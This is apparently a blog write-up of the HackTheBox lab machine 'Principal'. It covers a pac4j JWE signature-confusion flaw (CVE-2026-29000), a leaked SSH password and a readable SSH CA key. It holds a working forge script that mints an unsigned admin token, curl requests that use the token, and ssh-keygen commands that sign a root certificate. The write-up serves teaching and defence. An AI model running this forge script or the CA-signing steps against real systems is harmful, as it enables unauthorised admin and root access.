Back to blog
← Back to posts

English  ·  Ελληνικά

HTB: Principal

HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗

Principal is a Linux box that puts a single, tidy web application in front of you and asks a precise question about how it validates trust. The app is a Java service built on the pac4j security framework, and its session token is a JWE — an encrypted JWT. That encryption is real, and it is a trap: it makes the token opaque and feels like security, but the server only checks that the token was encrypted to its public key. It never checks that the JWT inside was actually signed. CVE-2026-29000 is exactly that confusion. Because the encryption key is public — it is literally published at a JWKS endpoint so clients can verify tokens — anyone can build an unsigned alg:none JWT claiming ROLE_ADMIN, encrypt it themselves, and hand it back as a valid admin session. From the admin dashboard an API endpoint leaks an SSH password in plaintext; from that user, membership in a deployers group makes the platform's SSH certificate-authority private key readable — and a CA private key that sshd trusts is a machine that will vouch for any identity you ask it to, including root.
unauthenticated → pac4j JWE sig-confusion (CVE-2026-29000) → forged ROLE_ADMIN token → admin API leaks SSH password → svc-deploy SSH → read trusted SSH CA key → sign a root cert → root

Reconnaissance

Two ports: SSH on 22 and a web application on 8080. The web server is Jetty, and it advertises the exact thing worth knowing straight out of a response header — the auth framework and its version:

the header that names the target
$ curl -sI http://<target>:8080/ HTTP/1.1 302 Found Server: Jetty X-Powered-By: pac4j-jwt/6.0.3 Location: /login

pac4j-jwt 6.0.3 is a specific, current, and vulnerable version. The login page loads a single script, /static/js/app.js, and that file is unusually generous — it documents the entire token design in a header comment, presumably because the same schema constants have to match the server:

app.js — the token design, handed to us
* Token handling: * - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM * - Public key available at /api/auth/jwks for token verification * - Inner JWT is signed with RS256 * * JWT claims schema: * sub - username * role - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER * iss - "principal-platform" * iat - issued at (epoch) * exp - expiration (epoch) // the token is stored in sessionStorage and sent as a Bearer header; // /api/users and /api/settings are gated to ROLE_ADMIN client-side

So the token is a two-layer object: an inner JWT (claims + an RS256 signature) wrapped inside a JWE envelope (RSA-OAEP-256 key wrapping, A128GCM content encryption). The public key needed for both "verifying" the token and — crucially — encrypting a new one is served, unauthenticated, at /api/auth/jwks:

/api/auth/jwks — the public encryption key
$ curl -s http://<target>:8080/api/auth/jwks {"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61i…"}]}

Foothold — encryption is not authentication (CVE-2026-29000)

Here is the flaw, stated plainly. A JWE proves one thing: whoever built the token had the recipient's public key. That is not a secret — it is published. Encrypting a JWT gives you confidentiality (nobody can read the claims in transit), but it says nothing about who issued the claims. Authenticity is the job of the inner JWT's signature, which must be verified against the issuer's key.

CVE-2026-29000 is that pac4j's JWE authenticator, in this configuration, decrypts the outer envelope and then trusts the claims of the inner JWT without verifying its signature. That collapses the whole design: since the encryption key is public, an attacker can mint their own token end to end. Build an inner JWT with "alg":"none" and an empty signature, set role to ROLE_ADMIN, then encrypt it to the server's own JWKS key. The server decrypts it, sees a well-formed JWT it can read, and never asks whether it was signed.

Concretely, in pac4j's own terms: JwtAuthenticator supports nested tokens — an inner, RS256-signed JWT wrapped inside an outer JWE — and takes an EncryptionConfiguration and a SignatureConfiguration as independent options. Principal wired up encryption but never enforced signing, so once the outer JWE decrypts, an inner PlainJWT (an unsigned token) is accepted as validated. The kid in the JWKS is even named enc-key-1 — the server publishes its encryption key where a verifier would normally publish a signature key, which is the whole tell in one string.

JWE envelope · RSA-OAEP-256 (key wrap) + A128GCM (encrypt) server checks this ✓ inner JWT — what the server actually trusts header alg: none payload role: ROLE_ADMIN signature ✗ never verified
The server validates the outer encryption and stops there. The inner signature — the only thing that proves who issued the claims — is never checked, so an attacker who owns the public key owns the token.
forge.py — unsigned inner JWT, wrapped in a JWE to the public key
$ cat forge.py import json, time, base64, urllib.request from jwcrypto import jwk, jwe T = "http://<target>:8080" b64u = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode() # 1. pull the public encryption key straight from JWKS jwks = json.load(urllib.request.urlopen(T + "/api/auth/jwks")) key = jwk.JWK(**jwks["keys"][0]) # 2. build an UNSIGNED inner JWT (alg:none, empty signature) now = int(time.time()) hdr = {"alg": "none", "typ": "JWT"} pl = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "principal-platform", "iat": now, "exp": now + 3600} inner = b64u(json.dumps(hdr).encode()) + "." + b64u(json.dumps(pl).encode()) + "." # 3. wrap it in a JWE to the server's own key — RSA-OAEP-256 + A128GCM prot = {"alg": "RSA-OAEP-256", "enc": "A128GCM", "kid": "enc-key-1"} tok = jwe.JWE(inner.encode(), recipient=key, protected=json.dumps(prot)) print(tok.serialize(compact=True))
Why alg:none works here: the server never runs the signature check, so it does not matter what the inner header claims. none is simply the least effort — no key, no signing step — and it sails through because the verification that would reject it was skipped entirely. The public key does all the heavy lifting on the encryption side, which is the only side the server actually validates.

Present the forged token as a bearer credential and the admin API opens up. /api/dashboard confirms the identity the server derived from our token — admin / ROLE_ADMIN — and /api/settings is where the box hands over the next step:

forged admin token → the admin API
$ TOKEN=$(python3 forge.py) $ curl -s -H "Authorization: Bearer $TOKEN" http://<target>:8080/api/dashboard | jq .user { "username": "admin", "role": "ROLE_ADMIN" } $ curl -s -H "Authorization: Bearer $TOKEN" http://<target>:8080/api/settings | jq .security { "authFramework": "pac4j-jwt", "authFrameworkVersion": "6.0.3", "jwtAlgorithm": "RS256", "jweAlgorithm": "RSA-OAEP-256", "jweEncryption": "A128GCM", "encryptionKey": "<redacted — a plaintext deploy secret>", "tokenExpiry": "3600s" }
The leak: an admin-only settings endpoint returns a live secret in cleartext, labelled encryptionKey. The value reads like a deployment passphrase — and the same /api/settings response advertises that the infrastructure uses SSH certificate authentication with a CA under /opt/principal/ssh/, and /api/users lists a svc-deploy service account "for automated deployments via SSH certificate auth." Two halves of the same hint.

User — a leaked password, reused for SSH

The leaked secret is not tied to the crypto at all; it is reused as an SSH password. Sprayed across the usernames the /api/users listing already gave us, it lands on the deployment service account:

user.txt
$ sshpass -p '<leaked secret>' ssh svc-deploy@<target> 'id; cat user.txt' uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers) [redacted — user flag]

Note the second group: deployers. That is not decoration — it is the whole privilege-escalation path.

Root — a CA private key you're allowed to read

The settings endpoint pointed at /opt/principal/ssh/, and its own README explains what lives there: an RSA certificate authority that sshd trusts for certificate-based logins. The directory is owned root:deployers and group-readable — and svc-deploy is in deployers:

the CA, readable via the deployers group
svc-deploy@principal:~$ ls -l /opt/principal/ssh/ -rw-r----- 1 root deployers 288 README.txt -rw-r----- 1 root deployers 3381 ca # CA private key — group-readable -rw-r--r-- 1 root deployers 742 ca.pub svc-deploy@principal:~$ grep -ri trustedusercakeys /etc/ssh/ /etc/ssh/sshd_config.d/60-principal.conf:TrustedUserCAKeys /opt/principal/ssh/ca.pub

That one sshd directive is the game. TrustedUserCAKeys tells the daemon to accept any user certificate signed by that CA — the certificate is the authorization. So a CA private key you can read is not "a key on the box"; it is the authority to issue yourself a valid identity for any account, including root. There is no exploit to write. You just use the CA the way it was built to be used, but for a principal it was never meant to sign.

sign a root certificate, log in as root
$ # pull the CA private key down (readable as svc-deploy), then sign our own key for root $ ssh-keygen -t ed25519 -N '' -f rootkey $ ssh-keygen -s ca -I pwn-root -n root -V +2h rootkey.pub Signed user key rootkey-cert.pub: id "pwn-root" serial 0 for root valid ... $ ssh -i rootkey -o CertificateFile=rootkey-cert.pub root@<target> 'id; cat /root/root.txt' uid=0(root) gid=0(root) groups=0(root) [redacted — root flag]
The -n root detail: this sshd sets no AuthorizedPrincipalsFile, so the default rule applies — the certificate's principal list must contain the login username. Sign with -n root so the cert is valid for the root account; omit it and the login is refused even though the CA signature itself is perfectly valid. It is the difference between a correctly-signed cert and a cert that is correctly-signed for the account you are using.

The whole chain, one screen

recap
# 1. header names the target: X-Powered-By: pac4j-jwt/6.0.3 ; JWKS key is public curl -s http://<target>:8080/api/auth/jwks # 2. CVE-2026-29000: JWE decrypted but inner signature never verified # forge alg:none JWT{role:ROLE_ADMIN}, encrypt to the public key, send as Bearer python3 forge.py # -> RSA-OAEP-256 + A128GCM JWE # 3. admin /api/settings leaks a plaintext secret -> reused as an SSH password sshpass -p '<leaked>' ssh svc-deploy@<target> # user.txt ; group: deployers # 4. deployers can read the TrustedUserCAKeys CA private key ssh-keygen -s ca -I x -n root -V +2h rootkey.pub ssh -i rootkey -o CertificateFile=rootkey-cert.pub root@<target> # root.txt

The fix

Each link in the chain has a concrete, one-line remediation — and they're independent, so defence in depth means fixing all of them, not just the CVE:

Lessons

HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗